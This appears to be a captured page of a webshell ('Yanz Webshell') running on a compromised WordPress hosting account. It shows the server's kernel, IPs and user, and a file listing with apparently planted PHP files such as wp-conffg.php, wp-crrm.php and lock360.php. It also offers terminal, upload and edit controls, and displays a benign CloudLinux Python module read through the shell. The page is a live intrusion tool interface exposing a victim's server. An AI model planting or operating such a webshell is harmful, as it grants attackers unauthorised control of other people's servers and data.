Attention:
Uname:
Php:
Hdd:
Cwd:
Yanz Webshell! - PRIV8 WEB SHELL ORB YANZ BYPASS!
Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
8.3.30 Safe mode: OFF Datetime: 2026-05-05 18:02:15
3907.15 GB Free: 1081.33 GB (27%)
/home/repauqkb/public_html/ drwxr-x--- [ root ] [ home ] Text

Server IP:
198.54.116.179
Client IP:
216.73.216.147
[ Files ][ Logout ]

File manager

NameSizeModifyPermissionsActions
[ . ]dir2026-05-05 09:27:21drwxr-x---Rename Touch
[ .. ]dir2025-04-18 09:10:57drwx--x--xRename Touch
[ wp-admin ]dir2026-05-05 01:36:32drwxr-xr-xRename Touch
[ wp-content ]dir2026-05-05 01:36:33drwxr-x---Rename Touch
[ wp-includes ]dir2026-05-05 01:36:38drwxr-xr-xRename Touch
.hcflag31 B2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
.htaccess626 B2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
.htaccess.bk243 B2026-04-28 01:30:21-rw-r--r--Rename Touch Edit Download
.litespeed_flag297 B2026-05-05 01:36:06-rw-r--r--Rename Touch Edit Download
error_log15.98 MB2026-05-05 18:02:15-rw-r--r--Rename Touch Edit Download
goods.php173.77 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
index.php16.36 KB2026-05-05 01:36:36-r--r--r--Rename Touch Edit Download
license.txt19.44 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
lock360.php1.40 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
options-privacy-more.php768 B2025-06-24 17:01:07-rw-r--r--Rename Touch Edit Download
qinfofuns.php12.90 KB2026-04-23 18:25:11-rw-r--r--Rename Touch Edit Download
readme.html7.25 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-activate.php7.18 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-blog-header.php351 B2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-comments-post.php2.27 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-conffg.php122.70 KB2026-05-05 01:13:55-rw-r--r--Rename Touch Edit Download
wp-config-sample.php3.26 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-config.php3.55 KB2026-03-27 14:45:59-rw-r--r--Rename Touch Edit Download
wp-cron.php5.49 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-crrm.php77.12 KB2026-05-05 02:30:18-rw-r--r--Rename Touch Edit Download
wp-links-opml.php2.43 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-load.php3.84 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-login.php50.23 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-mail.php8.52 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-settings.php30.33 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-signup.php33.71 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wp-trackback.php5.09 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
wper.php16.31 KB2026-01-27 01:19:39-rw-r--r--Rename Touch Edit Download
xmlrpc.php3.13 KB2026-04-23 18:25:30-rw-r--r--Rename Touch Edit Download
yeni.php27.21 KB2026-04-23 17:49:33-rw-r--r--Rename Touch Edit Download
 
Change dir:
Read file:
Make dir: (Writeable)
Make file: (Writeable)
Terminal:
Upload file: (Writeable)

HEX
HEX
Server: LiteSpeed
System: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: repauqkb (12019)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: //opt/cloudlinux/venv/lib64/python3.11/site-packages/websiteisolation/id_registry.py
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2026 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT

"""
Thin Python wrapper around the _lvdmap C extension (backed by liblve).

Public interface is unchanged — callers (lveapi.py, lvectllib.py) continue
to import and use these functions exactly as before.
"""
import pwd
import logging
import os

from .exceptions import LvdError

log = logging.getLogger(__name__)

LVD_IDS_DIR = '/etc/container/lvd_ids'

try:
    import _lvdmap
except ImportError:
    _lvdmap = None


def _require_lvdmap():
    if _lvdmap is None:
        raise LvdError("_lvdmap C extension is not installed")


def registry_path_by_username(username):
    """Return the registry file path for *username*, or None if the
    user does not exist or has no registry file."""
    try:
        uid = pwd.getpwnam(username).pw_uid
    except KeyError:
        return None
    path = os.path.join(LVD_IDS_DIR, str(uid))
    if not os.path.exists(path):
        return None
    return path


def assign_domain_id(uid, docroot):
    """Assign a domain ID for a docroot. Returns existing ID if already
    assigned, otherwise allocates the next sequential ID."""
    if os.geteuid() != 0:
        raise LvdError("domain ID assignment requires root")
    _require_lvdmap()
    domain_id = _lvdmap.assign(uid, docroot)
    log.info("assigned domain_id %d to docroot '%s' for uid %d",
             domain_id, docroot, uid)
    return domain_id


def get_domain_id(uid, docroot):
    """Look up domain ID by docroot. Returns None if not assigned."""
    if _lvdmap is None:
        return None
    r = _lvdmap.lookup(uid, docroot)
    return r if r != 0 else None


def get_all_entries(uid):
    """Return dict of docroot -> domain_id for a user."""
    if _lvdmap is None:
        return {}
    return _lvdmap.get_all_entries(uid)


def get_all_domain_ids():
    """Return the set of every assigned domain LVE ID across all users."""
    if _lvdmap is None:
        return set()
    return _lvdmap.get_all_domain_ids()


def min_id():
    """Return the minimum domain LVE ID.

    Delegates to the C library which reads UID_MAX from /etc/login.defs
    and returns max(UID_MAX, 60000).  Falls back to 60000 if the C
    extension is not available.
    """
    if _lvdmap is None:
        return 60000
    return _lvdmap.min_id()


def reassign_docroot(uid, old_docroot, new_docroot):
    """Move a domain mapping from *old_docroot* to *new_docroot*.

    Uses remove + assign via _lvdmap; the domain_id will be newly
    allocated (the C API does not support specifying a target ID).
    """
    if os.geteuid() != 0:
        raise LvdError("domain ID reassignment requires root")
    _require_lvdmap()

    old_id = _lvdmap.remove(uid, old_docroot)
    if old_id is None:
        log.warning("reassign_docroot: old_docroot '%s' not in registry "
                    "for uid %d — nothing to reassign", old_docroot, uid)
        return None

    new_id = _lvdmap.assign(uid, new_docroot)
    log.info("reassigned docroot from '%s' (id=%d) to '%s' (id=%d) "
             "for uid %d", old_docroot, old_id, new_docroot, new_id, uid)
    return new_id


def remove_domain_id(uid, docroot):
    """Remove a docroot from the registry. Returns the old ID or None."""
    if os.geteuid() != 0:
        raise LvdError("domain ID removal requires root")
    _require_lvdmap()
    old_id = _lvdmap.remove(uid, docroot)
    if old_id is not None:
        log.info("removed domain_id %d for docroot '%s' uid %d",
                 old_id, docroot, uid)
    return old_id


def remove_all_entries(uid):
    """Remove all domain IDs for a user. Returns list of (docroot, id)."""
    if os.geteuid() != 0:
        raise LvdError("domain ID removal requires root")
    _require_lvdmap()
    removed = _lvdmap.remove_all(uid)
    if removed:
        log.info("removed all domain IDs for uid %d (%d entries)",
                 uid, len(removed))
    return removed


def create_empty_registry(uid):
    """Mark *uid* as domain-isolated by touching its per-user file.

    The file acts as a marker so that ``find_all_lve_ids_with_config()``
    (which lists ``LVD_IDS_DIR``) can detect the user before any domains
    are assigned.  The C library's ``lvd_map_assign()`` will later
    atomically replace this empty file with a proper hash-table via
    rename(2), so the marker never interferes with real data.
    """
    if os.geteuid() != 0:
        raise LvdError("domain ID assignment requires root")
    os.makedirs(LVD_IDS_DIR, mode=0o711, exist_ok=True)
    try:
        st = os.stat(LVD_IDS_DIR)
        if st.st_mode & 0o777 != 0o711:
            os.chmod(LVD_IDS_DIR, 0o711)
    except OSError:
        pass
    marker = os.path.join(LVD_IDS_DIR, str(uid))
    if not os.path.exists(marker):
        fd = os.open(marker, os.O_CREAT | os.O_WRONLY, 0o600)
        os.close(fd)